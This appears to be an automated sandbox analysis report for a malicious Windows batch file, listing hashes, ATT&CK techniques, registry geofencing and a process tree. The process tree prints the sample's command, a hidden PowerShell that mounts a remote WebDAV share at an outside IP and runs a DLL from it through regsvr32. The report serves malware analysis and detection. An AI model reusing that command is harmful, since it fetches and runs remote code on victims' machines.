f8fc45bd834036b7e32346564dd91afc2fc4304683ac16ca4558a4010999afe4

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 14:09

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General

Target

2116101272086315786.bat
Size

14KB
MD5

7be790cca3638ed173fdef6f4b8a0a30
SHA1

59c5644a158741d5cbdc3a1ff3eac1654d6e5d95
SHA256

f8fc45bd834036b7e32346564dd91afc2fc4304683ac16ca4558a4010999afe4
SHA512

2c854cbae6f66e7bec3702d9f3d0ae43fd050c34b49a258906e60fb371adb3f1af985f088a70a714fb8a7c15c91a1343383f563e5bc4a67b4f0f7a425888b263
SSDEEP

384:gonzjbolskHkUyELRW70mDVHQvBWlllEdcWlllECCZvc+:goz3o6VcLMVHPlllEdzlllE/x

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1360	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1360	powershell.exe
1360	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1360	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3828	wordpad.exe
3828	wordpad.exe
3828	wordpad.exe
3828	wordpad.exe
3828	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3180 wrote to memory of 3828	3180	cmd.exe	85
PID 3180 wrote to memory of 3828	3180	cmd.exe	85
PID 3180 wrote to memory of 1360	3180	cmd.exe	87
PID 3180 wrote to memory of 1360	3180	cmd.exe	87
PID 1360 wrote to memory of 1980	1360	powershell.exe	89
PID 1360 wrote to memory of 1980	1360	powershell.exe	89
PID 1360 wrote to memory of 2928	1360	powershell.exe	90
PID 1360 wrote to memory of 2928	1360	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2116101272086315786.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3180
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1476539521452.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1980
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\1476539521452.dll
    3⤵
    PID:2928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hbcgliad.a41.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1360-0-0x000001CD49810000-0x000001CD49832000-memory.dmp

Filesize
136KB

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